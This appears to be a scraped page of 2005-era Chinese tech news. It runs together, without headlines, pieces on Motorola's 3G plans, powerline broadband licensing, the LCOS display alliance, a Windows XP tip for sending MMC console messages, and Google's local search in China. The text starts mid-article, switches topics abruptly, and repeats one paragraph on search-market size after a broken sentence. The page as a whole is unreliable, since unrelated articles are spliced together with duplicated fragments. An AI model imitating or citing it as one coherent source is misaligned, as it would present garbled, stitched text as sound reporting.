  在终端产品方面,摩托罗拉宣布了全新的全球产品设计战略,圆润与纤薄的外形是该战略的核心所在。这使得摩托罗拉产品在拥有时尚外观的同时,也为消费者营造了一个能体验音乐、视频短片、游戏、电影和下载等丰富的3G应用环境,将摩托罗拉“3G设备的领导者”的优势体现得淋漓尽致。

  多年来,摩托罗拉已经在世界范围内成功设计、实施了数百个移动网络案例,并为这些网络的运营者提供一系列的优化、维护服务,在加强网络运营方面积累了丰富的经验。现在,摩托罗拉已经可以提供包括UMTS和CDMA2000EVDO技术从系统到终端完整的端到端解决方案,帮助运营商快速经济地建造稳定可靠的商用3G网络,并在全球范围内拥有多个成功的案例。

  摩托罗拉中国区总裁高瑞彬认为:“3G的发展和存在以及接下来的商用,是有其必要性的。数据业务的确是目前3G发展上的一个瓶颈。在很多国家,3G的发展也在一定程度上受到了频率资源的限制,以及政府关于牌照政策的一些影响。3G不完全是一个技术问题。技术的成熟之后还需要市场的接受,最后把它变成一个文化、一个媒体,才能有更大的市场。”

【导读】中电飞华总经理工作室副主任罗隆材表示,目前信息产业部和中国电力企业联合会正在联合制订行业标准。 ——出处: 财经时报

  中电飞华总经理工作室副主任罗隆材表示,目前信息产业部和中国电力企业联合会正在联合制订行业标准。

  据悉,中电飞华与国电通信中心的高层在4月、5月频频接触,暗中制订了电力线上网的发展策略:首先确保今年北京10000个电力线上网用户的工作任务,并保持与信产部相关部门频繁交涉,希望能尽快获得信产部的许可,其结果可能会在年内公布。

  记者随即拨通了信息产业部电信研究院信息交流中心主任陈育平的电话,他非常肯定地告诉记者,关于电力线上网的事宜国家仍然没有批复。

  记者又致电信产部电信管理局市场处,其相关负责人强调,根据信息产业部的规定,宽带属于《电信业务分类目录》中的第二类基础电信业务。经营基础电信业务,须经国务院信息产业主管部门批准,取得经营许可后才有资格在市场上推行。

  在目前电力线上网用户还不及其他运营商的一个零头时,控制它的流量和互联互通显然为时过早。但业内人士表示,一旦其获得信产部的认可,拿到运营商牌照,其过快的发展速度必然将遭致其他运营商的围攻。看来,影响现有运营商的既得利益才是最终制约电力线上网发展的根本因素。

  一个业界的普遍猜想是,将电力线上网市场做到足够大,那么中电飞华就有资本向信产部索要电信运营商牌照了。显然,中电飞华卧薪尝胆的日子不会太久,将来宽带接入市场是谁的天下还将拭目以待。

                                                                                                                                       包冉 PCWorld.COM.CN

         引:去年底,飞利浦的单方退出,一度让中国LCOS联盟非常被动。在寻求更多合作伙伴的同时,LCOS联盟开始重新启动。

  7月21~22日,“中国LCOS联盟”在北京召开“中国LCOS产业发展研讨会”,这是飞利浦单方面终止与联盟合作之后的第一次全员聚会,来自国内外的一些新伙伴,为联盟的未来增加了更多选项。

  联盟进展

  “确实,我们曾经对飞利浦期望很高,希望通过与之合作,将中国LCOS产业真正自主地做起来,”赵汉鼎先生告诉记者,“所以在飞利浦突然退出LCOS领域之后,带给LCOS联盟的损失确实很大。”

  作为中国电子视像行业协会大屏幕投影显示分会的秘书长,赵汉鼎是“中国LCOS联盟”的最早倡议者和发起人,2004年4月份,飞利浦为了推进其单片LCOS技术,在大屏幕分会的组织下,与中国14家消费电子企业成立了联盟。为了获取技术支持,每一家联盟企业还都交纳了不菲的技术咨询费,飞利浦则承诺进行技术培训。

  “不单是钱的问题,”赵汉鼎认为,“更关键是飞利浦和英特尔等巨头退出LCOS领域之后,很容易造成产业判断的误区,让人觉得LCOS前途黯淡,事实上绝非如此。”

  在这次研讨会上,拓展技术思路、谋求更紧密联合和更广范围合作,成为三个焦点。

  “原来与飞利浦合作,以单片技术为主,这次我们提出单片和三片技术并举,”赵汉鼎告诉记者,“用单片技术发展中低档产品,用三片技术主打高档路线。虽然没有了飞利浦,但也要看到单片技术依然是一种务实选择,绝不能走极端,把宝都押到三片上。”

  赵汉鼎认为,50英寸以下使用单片技术,更大尺寸则使用三片技术,比较符合市场规律。“因为背投产品主要面向大屏幕领域,如果能将60英寸产品的成本做到4000元人民币(约500美元),那么市场售价可以在万元以下,比如9000元人民币,留给产业链上各企业的利润空间还是很可观的,与大屏幕的液晶电视、等离子电视也有的一拼。”

  在这次研讨会上,美国MDC公司、eLCOS公司、三伍公司以及日本JVC公司等提供三片LCOS技术的企业已明确表示与LCOS 联盟进行合作,提供技术支持;来自中国台湾省的中芯国际、台积电、华映分别介绍了各自在LCOS领域的研发成果;来自中国大陆的江西鸿源、南开大学也拿出了展示样机和技术报告——这也是目前国内外LCOS领域的主流阵营。

  “LCOS的出路很大一部分在中国,”赵汉鼎说,“一方面,与DLP、3LCD不同,LCOS的知识产权没有集中垄断,中国产业界有通过LCOS获取有利战略地位的可能;另一方面,中国的消费市场巨大无比,从CRT背投曾经的热销可以看出,在2~3级市场,拥有相对宽敞居住空间的中国消费者,对于背投产品的需求相当旺盛。”

  因此,三种扩大LCOS联盟的建议方案在此次研讨会上被提出:其一,成立海峡两岸LCOS联盟;其二,香港特别行政区的精电有限公司和香港科技大学建议,成立包括内地、台湾、香港在内的大中华LCOS联盟;其三,国际企业提出,联合中、美、日等国企业,成立国际LCOS联盟。

  赵汉鼎希望,日渐复苏的产业热情能够得到国家政策的实际支持,“我们会把研讨会内容组织成文,上报给相关政府部门,为国内的LCOS项目申请财政和税收优惠政策。”

  因为LCOS的原理是“半导体(CMOS)+液晶”,“如果能够将LCOS划入国务院18号文(《鼓励软件产业和集成电路产业发展的若干政策》)的适用范围就好了,”赵汉鼎对记者说。

  产业链上几道坎

  建构一个大产业,仅有热情还是不够的,LCOS技术已经提出多年,全球产业链都有哪几道坎?

  首先还是技术。“飞利浦搞单片方案,英特尔搞三片方案,他们的退出其实都是技不如人,”美国eLCOS公司董事长石奉先对记者表示,“比如说单片技术,理论上当然比三片便宜,但是单片要求半导体的面积更大、厚度更薄、速度还要更快,这恰恰是半导体技术最难突破的几个指标,所以我认为当前还是三片方案更现实一些,单片方案还没到火候。”

  但是也有与会专家指出,三片LCOS的色轮缺乏一致性,芯片和光机的寿命还不能确定,目前国际上各家企业所公布的良品率都没有得到权威验证。

  中芯国际的黄河博士在演讲中提到,“从原理上讲,LCOS微显反射投影系统集成是从LCD微显投射式投影系统的演变而来,二者有许多相同之处,其共同缺点是液晶光阀只能对偏振光起调制作用,因此在照射到光阀芯片之前,必须将光源中的非偏振光部分的光波滤去。正因为如此,LCOS微显反射和LCD微显投射投影系统的光效率比DMD-DLP系统要低,而且光学引擎较为复杂,相对来说部件多、加工难、成本高。”

  “LCOS的最大优点和最核心竞争优势,就是可以充分利用当代CMOS晶圆亚微米以至深亚微米工艺技术,实现最高的自然像素和显示分辨率,”黄河博士告诉记者,“这一点正在不断得到国际彩电整机厂商的验证,并且目前LCOS的主流像素尺寸已经缩小为8微米,6微米乃至4微米像素的可行性也已得到论证,在芯片尺寸不变的情况下,LCOS可以不断提升分辨率,这也是LCOS领先DLP之处。”

  据黄博士介绍,中芯国际目前和数家LCOS芯片设计、系统集成和IDM厂商合作,已连续推出720i、720P、1080P、1920P自然分辨率的数字与模拟LCOS微显芯片。

  除了本身技术特性,LCOS也要面对所有背投电视都无法回避的问题——灯泡寿命。“灯泡的主要提供商飞利浦声称其产品的保修期仅仅为9个月,这还是从出厂开始算起,到彩电企业手中时又会有一两个月过去了,整机厂商给消费者承诺的时间就更短了,” 创维光电技术公司的高级研发经理夏季告诉记者。

  其次是资金。南开大学的代永平博士介绍说,“2005年1月份,我们已经在国内的半导体生产线上成功实现时序彩色LCOS硅背板小批量流片,封装出彩色VGA(640×480分辨率)的LCOS模块,并掌握了系统芯片的关键技术和流片厂,具有从芯片设计、流片、液晶封装成型,到系统接口电路配置的一系列产业链雏形。”

  “南开大学很不容易,但是如果接下来不能有更多资本投入,把这个产业链雏形变成上规模的产业化基地,前期的投入就会变得没有意义,”赵汉鼎秘书长对记者说。

  “天津市和教育部的支持对南开很重要,但是只有天津市和教育部是不够的,”赵汉鼎测算了一笔账,“至少要投入1000~2000万美元,才能形成有效的规模,南开前期的投入在1000万元人民币左右,仅仅够启动研发之用。”

  不过小也有小的市场,据代永平博士介绍,除大尺寸背投电视以外,“LCOS双目式头盔显示系统”等小型应用也是务实的开发方向,“从技术的内涵讲LCOS特别适合用作近眼显示器,它可以在非常小的显示面积上实现高的分辨率,而且可以实现低功耗,并且不需要非常复杂的光学机构。其实现的原理是通过放大透镜使人看到一个放大的虚像”。

  前不久,深圳力合在展示地面数字电视应用时,头盔式接收样机也曾展出,也从一个侧面证明这个细分领域孕育着潜在的商业机会,能不能“积小钱为大钱”,可能是除引入战略投资之外的另一条“谋钱”之路。

  最后,龙头企业的态度很关键。“DLP的迅速发展是LCOS的很好借鉴,”eLCOS董事长石奉先对记者说,“从三星做出第一台DLP电视,到今天全球第100万台下线,前后不过三年时间,所以消费电子的巨头企业很关键。”

  目前,国际上索尼、JVC、日立等日系企业对LCOS比较热心,但是国内的主流家电厂商则显得比较犹豫。究其原因,一方面所有厂商都高度重视平板电视,资源向背投产品倾斜较少;另一方面,DLP、3LCD等阵营也已绑定了相关厂商,如TCL、长虹选择DLP,康佳选择3LCD。

  “微显背投产品的性价比依然是个问题,”一位国内彩电企业的销售经理告诉记者,“前一阶段我们降价幅度很大,但是消费者依然热情不高,因为比起来还是贵,DLP如此,LCOS更不用说了,现在市场竞争如此激烈,我们都得听消费者指挥。”

  创维的夏季先生认为,“除了创维,对LCOS表现积极的国内整机企业并不多,现在eLCOS、索尼、JVC、日立等企业推出的LCOS技术大都是三片式的,如果能解决好色轮的一致性问题,LCOS将大有前途。”

  Windows XP中有一个Microsoft管理控制台(MMC),可以用来向工作组或域中的每一台计算机发送消息,你发送的消息将在对方的桌面上显示,经常被网管用来向全体用户广播消息。使用MMC发送消息的方法如下:

  在Windows XP中,依次点击菜单 开始/设置/控制面版,在控制面板中单击“Administrative Tools(管理工具)”,双击Computer Management(计算机管理);在计算机管理窗口中,点击“操作”菜单,选择“All Tasks(所有任务)”/发送控制台消息;然后在弹出的窗口,输入要发送的消息,按“添加”按钮,选中要接收该消息的电脑,最后按“发送”按钮即可。以后你发送的消息,将在对方桌面上Messenger Service(消息服务)框中予以显示。

  如果对方不在收件人列表中,你可以单击“添加”按钮,创建新的计算机;随之会弹出“选择计算机”对话框,然后在其中选择要访问的工作组或域,点击相应的计算名称,把它们添加到收件人列表中。

  小提示:你只有具备本地计算机上的管理权限,才能访问Microsoft管理控制台(MMC)、利用MMC发送消息,如果当前账户没有管理权限,请换用一个管理员账户重新登录Windows系统

  和通过实际测量得出地图数据并搜索出位置相比,Google在中国推出的本地搜索技术只能算是一种“准”地图搜索,而由于中国地理编码的混乱,也直接造成了Google本地搜索在功能上的弱化


  大学生小王一直是Google的忠实用户,在得知Google推出本地搜索业务(bendi.google.com)后,他也在第一时间内去尝试,但结果却并不如他想像中的便捷。当他输入“北京 人民大学”字样后,显示的却是“无法匹配”。

  9月6日,Google本地搜索在一片追捧声中粉墨登场。此番google突然发力中国,

中国地图搜索市场的潜力乃是他们发力的动因。据艾瑞市场咨询数据显示,去年中国搜索引擎市场规模为12.5亿元,年增长率为81%。预计到2007年,市场规模将达56.2亿元,而本地搜索将可能在整个搜索市场占有越来越多的份额。

搜索市场的潜力乃是他们发力的动因。据艾瑞市场咨询数据显示,去年中国搜索引擎市场规模为12.5亿元,年增长率为81%。预计到2007年,市场规模将达56.2亿元,而本地搜索将可能在整个搜索市场占有越来越多的份额。

  虽然拥有优势技术,但Google却不得不面对两个最基本的问题,这两个问题不解决,Google的本地搜索将像被剪掉翅膀的大鸟,只能赤膊上阵。

  Google本地搜索的技术和以往基于真正地图意义上的搜索不同,其搜索原理是中国Google本地搜索将对索引中超过80亿个网页的内容进行分析,并将分析结果与黄页数据相结合。例如,如果你想查找距家最近的五星级酒店,Google本地搜索先通过搜索Web上数十亿个网页来查找临近的商店和服务,然后再结合黄页数据复查这些结果,显示所查找的当地资源,并在地图上标注出来。目前为Google提供地图服务的,是中国一家名叫Mapabc的公司,据该公司人员称,Google实际上是租用他们的地图。

  不过,Google的这种海量数据和分析优势正面临挑战。

  在输入某些关键字后,经常出现不匹配现象,或者出来一大堆信息却没有一个是你所需要的,正如文章开头提到的那样。而之所以出现这样的情况,某业内人士对《财经时报》分析的原因是,Google本地搜索的原理是通过程序自动分析Google数据库中80亿网页中的单位资料,然后通过单位的地址来匹配该单位在地图上的位置。如果某个单位在Google收录的网页中不存在任何资料,即使在地图上有标注,在Google本地搜索中也找不到。

  这与通过人工添加资料的电子地图不同,许多中国的地图搜索公司都是雇佣专家走街串巷实地测量,得出第一手资料存放在搜索的数据库中。当发出搜索指令时,地图是直接调用资源,并不需要进行二次匹配。

  此外,美国地址的格式非常标准,通过逗号一层一层的分开,由小到大排列,这些都有助于Google规范其在美国的本地搜索。由于生活习惯和思维方式的不同,中国的地址编码非常复杂,相同的地址有多种表现的格式。

  更为致命的是中国地址编码规则混乱,重号、错号、断号现象时有发生,而地理编码服务的前提是必须建立严格的地理编码标准,比如街区名唯一等等。目前国内基本做不到,地名管理十分混乱,而且没有固定的模式可以套用,所以很难通过程序来分析和定位。

  Google本身似乎也意识到这个问题,为了改变这种情况,特意在地图上用红绿图标以示区别,红色是精确定位,绿色为模糊定位。

  另一方面,和Google针对美国推出的本土搜索相比,中国的本地搜索业务“简陋”了很多。为了吸引眼球Google推出了一系列的服务,美国的Google本地搜索提供了三种观看模式:卫星图、鸟瞰图和三维图,你可以让自家的屋顶在电脑屏幕上旋卷,并且从不同的方位观察它,在为人们提供帮助的同时,Google似乎也为人们提供了一种全新的休闲方式。

  而Google传说中的种种神奇功能却没能在中国本地搜索中出现,而最根本的原因则是中国政府出于安全考虑,对地图缩放级别有很多显示限制,使卫星图、鸟瞰图等强兵利器派不上用场。而Google只能赤膊上阵,在最基本的领域内和其它厂家一较高下。

  强大的Google搜索在中国就变成了一个毫无特色的依靠网页搜索技术完成的“准地图搜索”。

      财经时报